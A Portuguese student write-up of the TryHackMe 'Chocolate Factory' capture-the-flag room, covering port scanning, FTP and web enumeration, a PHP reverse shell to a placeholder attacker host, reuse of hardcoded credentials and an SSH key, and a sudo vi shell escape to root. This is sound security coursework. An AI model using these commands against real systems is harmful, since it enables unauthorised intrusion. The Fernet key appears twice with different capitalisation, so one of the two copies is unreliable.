
Write-Up: Chocolate Factory

Segurança Ofensiva — Capture The Flag

Plataforma: TryHackMe

Dificuldade: Fácil

Data de resolução: 03/10/2026

Autor: Luís Eduardo Curi Serra

Matrícula: 251033574

Professor: Roberto Rodrigues Filho

6 de outubro de 2026

Sumário

1	Visão Geral	2
2	Reconhecimento	2
2.1	Varredura de portas	2
2.2	FTP anônimo	3
2.3	Enumeração web	3
3	Exploração	3
3.1	Extração da chave do binário ELF	3
3.2	Reverse shell e coleta de credenciais	4
3.3	Acesso via SSH e flag de usuário	4
4	Escalada de Privilégios	5
4.1	Enumeração local	5
4.2	Shell escape via vi	5
4.3	Flag de root: deciptação Fernet	5
5	Becos sem Saída e Perdas de Tempo	6
6	Conclusão	7
7	Referências	7

1 Visão Geral

Chocolate Factory é uma máquina Linux de dificuldade *fácil* com temática do filme *A Fantástica Fábrica de Chocolate*. A varredura revela **11 portas abertas**, mas a maioria é *isca*: diversos serviços (portas 100, 106, 109, 110, 119, 125) respondem sempre com o mesmo *banner* “*chocolate room*” mandando “*procurar em outro lugar*”. O caminho real combina **FTP anônimo**, **enumeração web** e **reutilização de credenciais**. A enumeração com Gobuster expõe *directory listing*, que revela um binário ELF (`key_rev_key`) contendo uma chave, o `validate.php` com as credenciais de `charlie` em texto puro e um *command panel* (`home.php`) usado para obter um *reverse shell*. As credenciais de `charlie` e uma **chave SSH privada** deixada no *home* dão acesso interativo e a *flag* de usuário. A escalada se dá por uma política de *sudo* perigosa (`charlie` pode executar `/usr/bin/vi`), que permite *shell escape* para *root*. A *flag* final não está em texto: um script Python (`root.py`) a descriptografa via *Fernet*, usando exatamente a chave encontrada no binário do início.

2 Reconhecimento

2.1 Varredura de portas

```
nmap -T4 <TARGET_IP>
```

Listing 1: Varredura de portas e serviços com Nmap.

A varredura retorna **11 portas abertas**. Na prática, apenas três importam — **21/FTP**, **22/SSH** e **80/HTTP**; as demais são iscas (ver seção de bicos sem saída).

PORT	STATE	SERVICE
21/tcp	open	ftp
22/tcp	open	ssh
80/tcp	open	http
100/tcp	open	newacct
106/tcp	open	pop3pw
109/tcp	open	pop2
110/tcp	open	pop3
111/tcp	open	rpcbind
113/tcp	open	ident
119/tcp	open	nntp
125/tcp	open	locus-map

Listing 2: Portas abertas retornadas pela varredura.

2.2 FTP anônimo

O FTP aceita *login* anonymous (senha vazia). Baixam-se todos os arquivos de uma vez desativando a confirmação interativa.

```
ftp <TARGET_IP> 21
# Name: anonymous (senha vazia, apenas Enter)
ftp> prompt off          # desativa confirmacao do mget
ftp> mget *               # baixa tudo -> gum_room.jpg
```

Listing 3: Login anônimo e download em massa no FTP.

O único arquivo é `gum_room.jpg`, que **não contém informação útil** para o progresso.

2.3 Enumeração web

A porta 80 serve uma página de *login* (`index.html`). A enumeração de diretórios/arquivos com Gobuster (incluindo extensões) encontra o `home.php`.

```
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -x php,
↳ txt,html
```

Listing 4: Enumeração com Gobuster.

```
home.php    (Status: 200) [Size: 569]
index.html  (Status: 200) [Size: 1466]
```

Listing 5: Achados relevantes do Gobuster.

Com *directory listing* habilitado, o servidor expõe a lista completa de arquivos da aplicação:

```
home.jpg  home.php  image.png  index.html  index.php.bak  key_rev_key  validate.php
```

Listing 6: Arquivos expostos pelo directory listing.

3 Exploração

3.1 Extração da chave do binário ELF

O arquivo `key_rev_key` é um executável **ELF**. Inspeccionando seu conteúdo (o ideal é `strings` $\hookrightarrow$ `key_rev_key`), encontra-se uma chave embutida — que só fará sentido no final, na etapa de `root`.

```
congratulations you have found the key:  
-VkgXhFf6sAEcAwrc6YR-SZbiuSb8ABXeQuvhcGSQzY=
```

Listing 7: Chave embutida no binário key_rev_key.

3.2 Reverse shell e coleta de credenciais

A página `home.php` contém um ponto de **execução de comandos**: o texto enviado é executado no servidor. Abre-se um *listener* Netcat na máquina atacante e, pelo campo de comando do `home.php`, dispara-se um *reverse shell* em PHP, obtendo *shell* como `www-data`.

```
nc -l -v -n -p 1234
```

Listing 8: Listener Netcat na máquina atacante.

```
php -r '$sock=fsockopen("<ATTACKER_IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Listing 9: Comando executado no `home.php` (reverse shell PHP).

Já no *shell*, a leitura de `validate.php` expõe as credenciais em **texto puro**:

```
if($uname=="charlie" && $password=="cn7824"){  
    echo "<script>window.location='home.php'</script>";  
}
```

Listing 10: `validate.php` com credenciais hardcoded.

```
charlie : cn7824
```

3.3 Acesso via SSH e flag de usuário

No *home* de `charlie` há um par de chaves SSH (`teleport` e `teleport.pub`). Copia-se a chave privada para a máquina atacante, ajusta-se a permissão e autentica-se via SSH — sem necessidade de senha.

```
# chave privada 'teleport' salva localmente como id_rsa  
chmod 600 id_rsa  
ssh -i id_rsa charlie@<TARGET_IP>  
  
cat /home/charlie/user.txt
```

```
# flag{cd5509042371b34e4826e4838b522d2e}
```

Listing 11: Acesso via chave SSH privada e leitura da flag de usuário.

4 Escalada de Privilégios

4.1 Enumeração local

```
User charlie may run the following commands on ip-<HOST>:  
(ALL : !root) NOPASSWD: /usr/bin/vi
```

Listing 12: Política de sudo de charlie.

charlie pode executar `/usr/bin/vi` via sudo sem senha — um *shell escape* clássico (GTFO-Bins).

4.2 Shell escape via vi

```
sudo vi  
# dentro do vi: tecla ESC, depois digitar :shell e Enter  
# -> shell como root
```

Listing 13: Escalada a root pelo vi.

4.3 Flag de root: deciptação Fernet

Em `/root` não há `root.txt`, e sim um script `root.py` que descriptografa a *flag* com *Fernet*, exigindo a chave obtida no binário do início (`-VkgXhFf6sAEcAwrc6YR-SZbiuSb8ABXeQuvhcGSQzY=`). O script, como estava, não roda — foi necessário corrigi-lo em dois pontos (ver becos sem saída). A versão final:

```
from cryptography.fernet import Fernet  
key = input("Enter the key: ")  
f = Fernet(key)  
encrypted_mess = b'gAAAAABfdb52eejIIEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-  
    ↪ bPy09-NVQn8lF_PDXyTo-  
    ↪ T7CpmrFfoVRWzlm00ffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'  
dcrypt_mess = f.decrypt(encrypted_mess)
```

```
print(dcrypt_mess.decode())
```

Listing 14: root.py corrigido (mensagem como bytes e displays comentados).

```
# python3 root.py
Enter the key: -VkgXhFf6sAEcAwRC6YR-SZbiuSb8ABXeQuvhcGSQzY=
flag{cec59161d338fef787fcb4e296b42124}
```

Listing 15: Execução final: flag de root.

5 Becos sem Saída e Perdas de Tempo

Esta seção consolida, de forma breve, todos os pontos em que a análise travou ou consumiu tempo sem retorno.

Tentativas sem sucesso (becos sem saída)

- **Portas-isca (maior perda de tempo).** Das 11 portas abertas, seis (100/newacct, 106/pop3pw, 109/pop2, 110/pop3, 119/nntp, 125/locus-map) são falsos serviços: ao conectar com nc ou enviar comandos de protocolo (ex.: echo "NEWACCT luissera" nc <IP> 100), todas devolvem o *mesmo banner* “Welcome to chocolate room!! [...] Look somewhere else, its not here! ;)”. Tempo gasto testando cada porta individualmente antes de concluir que eram distração.
- **gum_room.jpg (FTP).** A imagem baixada do FTP não levou a nada — típico chamariz para *esteganografia*. Inspeccioná-la foi esforço sem retorno para esta trilha de solução.
- **cat em binário ELF.** A chave foi buscada com cat key_rev_key, poluindo o terminal com bytes binários; strings key_rev_key teria isolado a chave de imediato.
- **root.py — erro 1 (token must be bytes).** A encrypted_mess estava como *string*; o Fernet exige *bytes*. Correção: prefixar o literal com b'... '.
- **root.py — erro 2 (pyfiglet has no attribute figlet_format).** A versão do pyfiglet no alvo não expõe figlet_format. Correção: comentar as linhas de *display* decorativo (pyfiglet), que são irrelevantes para a *flag*.

6 Conclusão

O comprometimento encadeou várias más configurações: **FTP anônimo**, **directory listing** expondo o código-fonte e um binário com chave embutida, **credenciais hardcoded** em `validate.php`, uma **chave SSH privada** deixada no *home* do usuário e, por fim, uma **política de sudo** que permitia *shell escape* via `vi`. O principal obstáculo *não técnico* foram as **portas-isca**: reconhecer cedo que os serviços da família POP/NNTP eram falsos (banner idêntico “*look somewhere else*”) teria economizado tempo considerável. As duas *flags* obtidas foram `flag{cd5509042371b34e4826e4838b522d2e}` (usuário) e `flag{cec59161d338fef787fcb4e296b42124}` (root).

7 Referências

- TryHackMe — Sala *Chocolate Factory* — <https://tryhackme.com/room/chocolatefactory>
- GTFOBins — `vi` — <https://gtfobins.github.io/gtfobins/vi/>
- *cryptography* (Fernet) — <https://cryptography.io/en/latest/fernet/>